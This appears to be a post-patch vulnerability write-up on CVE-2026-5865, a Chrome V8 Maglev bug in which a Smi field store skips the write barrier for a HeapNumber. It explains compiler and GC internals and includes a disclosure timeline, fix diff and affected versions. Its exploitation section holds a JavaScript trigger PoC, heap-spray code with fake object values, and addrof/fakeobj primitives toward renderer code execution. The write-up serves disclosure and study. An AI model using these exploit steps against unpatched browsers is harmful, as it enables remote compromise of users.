In March, our AI security agent Vega detected a severe vulnerability in V8, the JavaScript engine used by Chrome. This vulnerability enabled remote code execution against billions of Chrome users worldwide. Note that CVE-2026-5865 alone does not bypass the sandbox. The following demo shows a full-chain RCE combined with another heap sandbox vulnerability (not disclosed in this article).

Background

Before discussing the bug, it is useful to briefly cover three pieces of V8 internals that interact here: Maglev, Phi nodes, and how the garbage collector works with write barriers.

Maglev

Maglev is one of V8’s optimizing compilers. It sits between the interpreter/Baseline tiers and the more aggressive optimizing compiler, TurboFan. Its goal is to produce optimized machine code quickly by using feedback collected while the JS function was running in lower optimization tiers.

How does Maglev speed up the code?

In V8’s execution pipeline, the ignition interpreter first runs bytecode and collects feedback at runtime. This runtime metadata, together with the bytecode, is then used by subsequent optimizing compilers. For a simple function like this:

1
function f(o, v) {
2
  o.x = v;
3
}

V8 will create a JSFunction object for f, along with other objects used to represent the function’s code, metadata, and feedback.

That feedback includes information such as the shapes of objects, the types of values seen at particular operations, and the representations of fields. In function f, the bytecode might be:

1
Ldar a1
2
SetNamedProperty a0, [name_index_of_x], [slot0]

The structure of the bytecode instruction SetNamedProperty is:

1
V(SetNamedProperty, ImplicitRegisterUse::kReadAndClobberAccumulator,
2
  OperandType::kReg,
3
  OperandType::kConstantPoolIndex,
4
  OperandType::kFeedbackSlot)

The implementation is generated by the assembler as follows:

1
class InterpreterSetNamedPropertyAssembler : public InterpreterAssembler {
2
 public:
3
  InterpreterSetNamedPropertyAssembler(CodeAssemblerState* state,
4
                                       Bytecode bytecode,
5
                                       OperandScale operand_scale)
6
      : InterpreterAssembler(state, bytecode, operand_scale) {}
7

8
  void SetNamedProperty(Builtin ic_builtin, NamedPropertyType property_type) {
9
    TNode<Object> object = LoadRegisterAtOperandIndex(0);
10
    TNode<Name> name = CAST(LoadConstantPoolEntryAtOperandIndex(1));
11
    TNode<Object> value = GetAccumulator();
12
    TNode<TaggedIndex> slot = BytecodeOperandFeedbackSlotTaggedIndex(2);
13
    TNode<HeapObject> maybe_vector = LoadFeedbackVector();
14
    TNode<Context> context = GetContext();
15

16
    TNode<Object> result = CallBuiltin(ic_builtin, context, object, name, value,
17
                                       slot, maybe_vector);
18
    ClobberAccumulator(result);
19
    Dispatch();
20
  }
21
};
22

23
// SetNamedProperty <object> <name_index> <slot>
24
IGNITION_HANDLER(SetNamedProperty, InterpreterSetNamedPropertyAssembler) {
25
  SetNamedProperty(Builtin::kStoreIC, NamedPropertyType::kNotOwn);
26
}

When running this bytecode, the engine will call into the StoreIC builtin. The whole process can be visualized as:

When the corresponding feedback slot is hit, the builtin call will jump to the fast path, otherwise, it will update the feedback slot and use the generic property store. In this way, the engine can collect type feedback at runtime, and use it to optimize the code in later tiers.

For example, if a property store only ever stores Smis during warmup, Maglev may compile a specialized store for a Smi field. This is faster than a fully generic store, but it also means the generated code relies on the compiler’s representation assumptions being correct.

Value tags

In V8, as in many other JavaScript engines, values are represented in a tagged format. The engine needs to determine key properties of a value quickly at runtime, such as whether it is a small integer or a heap object. For example, V8 uses the least significant bit to distinguish between Smis and heap objects. If the least significant bit is 0, the value is a Smi; if it is 1, the value is a pointer to a heap object. This lets the engine identify value types without additional metadata lookups.

Representation selection

Maglev also performs representation selection. JavaScript values are normally represented as tagged values, but optimized code often wants to use cheaper untagged machine representations internally. For example, if a value is used by an integer operation, Maglev may represent it as an untagged Int32 instead of a tagged JavaScript value. If that value is later needed as a normal JavaScript value again, Maglev has to insert a conversion back to a tagged representation.

Phi nodes

Maglev uses Single Static Assignment (SSA) form for its intermediate representation. In normal code, a variable can be assigned multiple times, for example:

1
let a;
2
a = 1;
3
a = 2;

In SSA form, each variable is assigned exactly once. This provides certain advantages for optimization, such as:

• Clear dependency tracking: Since each variable is assigned only once, it’s easier to track where values come from and how they are used.
• Simplified optimizations: Many optimizations, such as constant folding and dead code elimination, become easier to implement in SSA form because the single assignment property eliminates certain complexities around variable reassignments.

But how do we handle the following code with control flow merges?

1
let x;
2
if (cond) {
3
    x = a;
4
} else {
5
    x = b;
6
}
7
use(x);

In SSA form, the x in two branches would need two different definitions:

1
x1 = a;
2
x2 = b;

but which one should use(x) refer to? It can’t be x1 or x2, we need a new one. This is where Phi nodes come in. In SSA form, values assigned along different control-flow paths and merged later are represented with Phi nodes.

1
x3 = Phi(x1, x2)
2
use(x3);

In the compiler graph, the value of x3 after the if is represented as a Phi:

1
x3 = Phi(x1, x2)

This means “if control came from the first branch, use x1; otherwise, use x2.”

Phi nodes can also feed into other Phi nodes. For example:

1
let y = a ? x + 1 : 1
2
let z = b ? y : 1;

Conceptually, this becomes:

1
y = Phi(x + 1, 1)
2
z = Phi(y, 1)

During representation selection, Maglev may decide that y can be represented as an untagged Int32, while z still needs to remain tagged. In that case, the edge from y into z needs a tagging conversion. This is the kind of situation handled by EnsurePhiInputsTagged.

Garbage collection and write barriers

V8 uses a generational GC. This design is based on the hypothesis that most objects have a very short lifetime, so most objects that get created in “NewSpace” end up being freed after a GC cycle. Objects that last longer are moved into the “OldSpace”, which generally houses objects that have a longer lifetime.

Minor GC

The NewSpace is divided into two semispaces: one active semispace for current allocations called “FromSpace”, and one inactive semispace called “ToSpace”. When a minor GC occurs, the GC traces all active objects in NewSpace starting from the roots, and copies them from FromSpace to ToSpace. After the GC cycle, the roles of the semispaces are swapped, and the next round of allocations happens in the new FromSpace.

Major GC

Typically, objects in OldSpace tend to live longer, so V8 cannot simply evacuate the entire old generation as frequently as NewSpace. Instead, V8’s major GC uses a mark-sweep approach. The marking phase is similar to the classic tricolor marking algorithm, V8 uses three colors:

• White: objects that haven’t been visited yet, and are candidates for GC.
• Grey: objects that have been visited, but their children haven’t been fully visited yet.
• Black: objects that have been fully visited, and are not candidates for GC.

After iterating through all reachable objects, objects with the white color are considered unreachable and get swept up by the GC.

Can the GC miss some objects?

Now let’s consider two scenarios that can happen during GC:

• An object in OldSpace references an object in NewSpace. Since the minor GC only traces NewSpace, if the GC doesn’t know about this reference, it might end up collecting the NewSpace object even though it’s still active.
• Concurrent marking when storing a white object pointer into a black object field. If the GC doesn’t know about this store, it might end up missing the white object during marking, since it will not revisit the black object later, which can lead to it being collected even though it’s still active.

This is where write barriers come in. A write barrier is a small piece of code emitted around certain heap stores that notifies the GC that a heap reference was written in this particular place. This is required to preserve invariants such as the following: if an old object points to a young object, or if a black object points to a white object, the garbage collector must know about that reference.

This allows the GC to avoid scanning every live object while still maintaining object lifetimes correctly.

For this writeup, the key invariant to keep in mind is that:

• Any store that can write a heap object pointer into a heap object field must either emit a write barrier or be proven not to need one.
• A store of a Smi does not need a write barrier, because a Smi is not a heap pointer. Therefore, compilers often use no-write-barrier store sequences when they can prove the stored value is always a Smi.

The Bug

Consider this snippet in MaglevRepresentationSelector::EnsurePhiInputsTagged:

1
void MaglevPhiRepresentationSelector::EnsurePhiInputsTagged(Phi* phi) {
2
  // Since we are untagging some Phis, it's possible that one of the inputs of
3
  // {phi} is an untagged Phi. However, if this function is called, then we've
4
  // decided that {phi} is going to stay tagged, and thus, all of its inputs
5
  // should be tagged. We'll thus insert tagging operation on the untagged phi
6
  // inputs of {phi}.
7

8
  const int skip_backedge = phi->is_loop_phi() ? 1 : 0;
9
  for (int i = 0; i < phi->input_count() - skip_backedge; i++) {
10
    ValueNode* input = phi->input(i).node();
11
    if (Phi* phi_input = input->TryCast<Phi>()) {
12
      phi->change_input(i,
13
                        EnsurePhiTagged(phi_input, phi->predecessor_at(i),
14
                                        BasicBlockPosition::End(), nullptr, i));
15
    } else {
16
      // Inputs of Phis that aren't Phi should always be tagged (except for the
17
      // phis untagged by this class, but {phi} isn't one of them).
18
      DCHECK(input->is_tagged());
19
    }
20
  }
21
}

When a Phi receives another Phi as one of its inputs, if that input Phi was selected to use an untagged representation, EnsurePhiTagged inserts a conversion on the incoming edge so that the outer Phi still receives a tagged value.

This call does not pass force_smi. For an Int32 Phi, the EnsurePhiTagged will therefore emit Int32ToNumber[kCanonicalizeSmi], which does not guarantee a conversion to an Smi, since this may also produce a HeapNumber if the Int32 value is outside the Smi range.

This becomes relevant later on, in MaglevGraphBuilder::TryBuildStoreField:

1
MaybeReduceResult MaglevGraphBuilder::TryBuildStoreField(
2
    compiler::PropertyAccessInfo const& access_info, ValueNode* receiver,
3
    compiler::AccessMode access_mode, compiler::NameRef name) {
4
  // ...
5
  if (field_representation.IsSmi()) {
6
    RETURN_IF_ABORT(GetAccumulatorSmi(UseReprHintRecording::kDoNotRecord));
7
  }
8
  // ...
9
  StoreTaggedMode store_mode = access_info.HasTransitionMap()
10
                                   ? StoreTaggedMode::kTransitioning
11
                                   : StoreTaggedMode::kDefault;
12
  if (field_representation.IsSmi()) {
13
    RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
14
        store_target, value, field_index.offset(), store_mode, name));
15
  }
16
  // ...
17
}

When the Phi is used in a field store and the function is warmed up exclusively with Smi stores, Maglev compiles the field store as BuildStoreTaggedFieldNoWriteBarrier, which is fine if all stored values are indeed Smis. GetAccumulatorSmi calls GetSmiValue, which then attempts to add a Smi check with BuildCheckSmi.

1
  MaybeReduceResult GetAccumulatorSmi(
2
      UseReprHintRecording record_use_repr_hint =
3
          UseReprHintRecording::kRecord) {
4
    return GetSmiValue(interpreter::Register::virtual_accumulator(),
5
                       record_use_repr_hint);
6
  }
7

8
ReduceResult MaglevGraphBuilder::GetSmiValue(
9
    ValueNode* value, UseReprHintRecording record_use_repr_hint) {
10
  if (V8_LIKELY(record_use_repr_hint == UseReprHintRecording::kRecord)) {
11
    value->MaybeRecordUseReprHint(UseRepresentation::kTagged);
12
  }
13

14
  NodeInfo* node_info = GetOrCreateInfoFor(value);
15

16
  ValueRepresentation representation =
17
      value->properties().value_representation();
18
  if (representation == ValueRepresentation::kTagged) {
19
    return BuildCheckSmi(value, !value->Is<Phi>());
20
  }
21

22
  auto& alternative = node_info->alternative();
23

24
  if (ValueNode* alt = alternative.tagged()) {
25
#ifdef DEBUG
26
    if (HoleyFloat64ToTagged* conversion_node =
27
            alt->TryCast<HoleyFloat64ToTagged>()) {
28
      DCHECK_EQ(conversion_node->conversion_mode(),
29
                NumberConversionMode::kCanonicalizeSmi);
30
    }
31
#endif  // DEBUG
32
    return BuildCheckSmi(alt, !value->Is<Phi>());
33
  }
34

35
  switch (representation) {
36
    case ValueRepresentation::kInt32: {
37
      if (NodeTypeIsSmi(node_info->type())) {
38
        return alternative.set_tagged(
39
            AddNewNodeNoInputConversion<UnsafeSmiTagInt32>({value}));
40
      }
41
      return alternative.set_tagged(
42
          AddNewNodeNoInputConversion<CheckedSmiTagInt32>({value}));
43
    }
44
    case ValueRepresentation::kUint32: {
45
      if (NodeTypeIsSmi(node_info->type())) {
46
        return alternative.set_tagged(
47
            AddNewNodeNoInputConversion<UnsafeSmiTagUint32>({value}));
48
      }
49
      return alternative.set_tagged(
50
          AddNewNodeNoInputConversion<CheckedSmiTagUint32>({value}));
51
    }
52
    case ValueRepresentation::kFloat64: {
53
      return alternative.set_tagged(
54
          AddNewNodeNoInputConversion<CheckedSmiTagFloat64>({value}));
55
    }
56
    case ValueRepresentation::kHoleyFloat64: {
57
      return alternative.set_tagged(
58
          AddNewNodeNoInputConversion<CheckedSmiTagHoleyFloat64>({value}));
59
    }
60
    case ValueRepresentation::kIntPtr:
61
      return alternative.set_tagged(
62
          AddNewNodeNoInputConversion<CheckedSmiTagIntPtr>({value}));
63
    case ValueRepresentation::kTagged:
64
    case ValueRepresentation::kRawPtr:
65
    case ValueRepresentation::kNone:
66
      UNREACHABLE();
67
  }
68
  UNREACHABLE();
69
}
70

71
ReduceResult MaglevGraphBuilder::GetSmiValue(
72
    ReduceResult value_result, UseReprHintRecording record_use_repr_hint) {
73
  ValueNode* value;
74
  GET_VALUE_OR_ABORT(value, value_result);
75
  return GetSmiValue(value, record_use_repr_hint);
76
}

However, the elidable is default to false for BuildCheckSmi in this path:

1
ReduceResult MaglevGraphBuilder::BuildCheckSmi(
2
    ValueNode* object, bool elidable,
3
    AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
4
  if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
5
  // Check for the empty type first so that we catch the case where
6
  // GetType(object) is already empty.
7
  if (IsEmptyNodeType(IntersectType(
8
          GetType(object, allow_widening_smi_to_int32), NodeType::kSmi))) {
9
    return EmitUnconditionalDeopt(DeoptimizeReason::kSmi);
10
  }
11
  if (EnsureType(object, NodeType::kSmi) && elidable) return object;
12
  RecordSmiUse(object);
13
  // For non-tagged constants, we may be able to skip the runtime check: every
14
  // non-tagged arm of the switch below emits a value-range check, which is
15
  // exactly what `Smi::IsValid` proves. For tagged inputs the runtime check
16
  // (CheckSmi) is a tag-bit check, and value-equivalence (e.g. via the
17
  // checked_value alternative, which may hold a HeapNumber constant) does not
18
  // imply Smi tagging.
19
  if (object->value_representation() != ValueRepresentation::kTagged) {
20
    if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
21
      if (Smi::IsValid(constant_value.value())) return object;
22
    }
23
  }
24
  switch (object->value_representation()) {
25
    case ValueRepresentation::kInt32:
26
      if (!SmiValuesAre32Bits()) {
27
        AddNewNodeNoInputConversion<CheckInt32IsSmi>({object});
28
      }
29
      break;
30
    case ValueRepresentation::kUint32:
31
      AddNewNodeNoInputConversion<CheckUint32IsSmi>({object});
32
      break;
33
    case ValueRepresentation::kFloat64:
34
      AddNewNodeNoInputConversion<CheckFloat64IsSmi>({object});
35
      break;
36
    case ValueRepresentation::kHoleyFloat64:
37
      AddNewNodeNoInputConversion<CheckHoleyFloat64IsSmi>({object});
38
      break;
39
    case ValueRepresentation::kTagged:
40
      AddNewNodeNoInputConversion<CheckSmi>({object});
41
      break;
42
    case ValueRepresentation::kIntPtr:
43
      AddNewNodeNoInputConversion<CheckIntPtrIsSmi>({object});
44
      break;
45
    case ValueRepresentation::kRawPtr:
46
    case ValueRepresentation::kNone:
47
      UNREACHABLE();
48
  }
49
  return object;
50
}

Then BuildCheckSmi will return without adding a new node. However, recall earlier that the nested Phi conversion uses Int32ToNumber[kCanonicalizeSmi], which may yield a HeapNumber, which, despite being a heap object, is not stored with a write barrier. The field_representation.IsSmi() check will not stop this either, since it relies on the type hints from the warmup instead of a proof that Int32ToNumber[kCanonicalizeSmi] always yields a Smi.

Here’s an example that demonstrates this case:

1
function f(a, b, x) {
2
  let y = a ? x + 1 : 1;
3
  let t = y | 0;
4
  let z = b ? y : 1;
5
  obj.x = z;
6
  return obj.x;
7
}

The first Phi y is represented as an untagged Int32 because of y | 0, and EnsurePhiInputsTagged retags it for the outer tagged Phi z.

If the function is warmed up with Smis, then it will use BuildStoreTaggedFieldNoWriteBarrier for the obj.x = z store.

However, if the function is then called with x = 1073741823 (max Smi value), a ? x + 1 : 1 branch produces 1073741824, which is outside the 31-bit Smi range. This causes Int32ToNumber[kCanonicalizeSmi] to create a HeapNumber, but since the field store still skips the barrier, this creates a pointer to a heap object that is untracked by GC, which is the key invariant break.

Exploitation

Triggering the write barrier omitted store

As explained in the analysis before, after warmed this function up to maglev with Smis, and passing MAX_SMI into x, x+1 will eventually yield a HeapNumber since it is outside the Smi range.

However, the o.x store will store the newly allocated HeapNumber without a write barrier, thus leading to a heap pointer whose backing object is subject to GC.

1
function blah(o, a, b, x) {
2
    let y;
3
    if (a) {
4
        y = x + 1;
5
    } else {
6
        y = 1;
7
    }
8

9
    const t = y | 0;
10

11
    let z;
12
    if (b) {
13
        z = y;
14
    } else {
15
        z = 1;
16
    }
17

18
    o.x = z;
19
    return t;
20
}
21

22
const obj = { x: 1 };
23
const warmup = { x: 1 }
24

25

26
for (let i = 0; i < 4; i++) {
27
    gc();
28
}
29

30
%PrepareFunctionForOptimization(blah);
31
for (let i = 0; i < 2000; i++) {
32
    blah(warmup, true, true, i & 1023);
33
    blah(warmup, false, true, i & 1023);
34
    blah(warmup, true, false, i & 1023);
35
}
36

37
%OptimizeMaglevOnNextCall(blah);
38
blah(warmup, true, true, 7);
39
blah(obj, true, true, MAX_SMI);
40
gc({ type: "major" });

Omitted write barrier to fakeobj

So, we have a HeapNumber store on a field that’s untracked by GC, what can we do?

Since the obj.x can not be tracked by GC, and we can reclaim the memory of the backing HeapNumber. We can have obj.x point to the content of a sprayed array, now we have our fakeobj primitives.

If the underlying HeapNumber gets garbage collected, while the pointer that points to the HeapNumber remains unchanged, we can replace the object with anything we want via heap spraying. In fact, we just need to repeatedly spray 2 qwords to reliably get our first bootstrap fake array object:

1
const backing = [
2
  1.1, 2.2, 3.3, 4.4
3
]
4

5
gc({type: 'major'})
6

7
function make_arr() {
8
  return [
9
    // map, properties(empty), elements, length
10
    4.2885618090673e-311, 8.4989920695e-314, 4.2885618090673e-311, 8.4989920695e-314
11
    // .........
12
  ]
13
}
14

15
for (let round = 0; round < 120; round++) {
16
  const tmp = [];
17
  for (let i = 0; i < 20; i++) {
18
    tmp.push(make_arr())
19
  }
20
}

Getting stable addrof/fakeobj

We can point the elements pointer of our fake array towards the elements of a backing double array to create a confusion between the elements of a PACKED_DOUBLE_ELEMENTS and PACKED_ELEMENTS array to achieve stable fakeobj/addrof primitives, like so:

1
function addrof(v) {
2
    backing[2] = 0;
3
    obj.x[0] = v;
4
    return ftoi(backing[2]);
5
}
6

7
function fakeobj(cage_addr) {
8
    backing[2] = itof(cage_addr);
9
    return obj.x[0];
10
}

Once these primitives are obtained, escalating them to broader control over V8 heap state is straightforward in the validation environment. When chaining with a heap sandbox escape, a full RCE on the renderer process can be obtained.

Appendix

Timeline

• 2026-03-11: We reported the bug to Google.
• 2026-03-12: Google acknowledged the report and started investigating.
• 2026-03-12: Google identified the root cause and finished the fix.
• 2026-04-07: The fix was released in Chrome 147.0.7727.55.
• 2026-05-07: We published this blog post.

Mitigation

The function BuildCheckSmi will check elidable first before directly returning.

1
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
2
index 5e09658..0b2eed6 100644
3
--- a/src/maglev/maglev-graph-builder.cc
4
+++ b/src/maglev/maglev-graph-builder.cc
5

6
@@ -4179,7 +4179,7 @@
7
 ReduceResult MaglevGraphBuilder::BuildCheckSmi(
8
     ValueNode* object, bool elidable,
9
     AllowWideningSmiToInt32 allow_widening_smi_to_int32) {
10
-  if (object->StaticTypeIs(broker(), NodeType::kSmi)) return object;
11
+  if (object->StaticTypeIs(broker(), NodeType::kSmi) && elidable) return object;
12
   // Check for the empty type first so that we catch the case where
13
   // GetType(object) is already empty.
14
   if (IsEmptyNodeType(IntersectType(

For users, please update to the latest version of Chrome.

Affected versions

The bug was introduced in Chrome 130, and fixed in Chrome 147. Any Chrome version between 130 and 147 is affected.

Acknowledgements

We would like to thank the V8 team for their quick response and thorough investigation of this issue.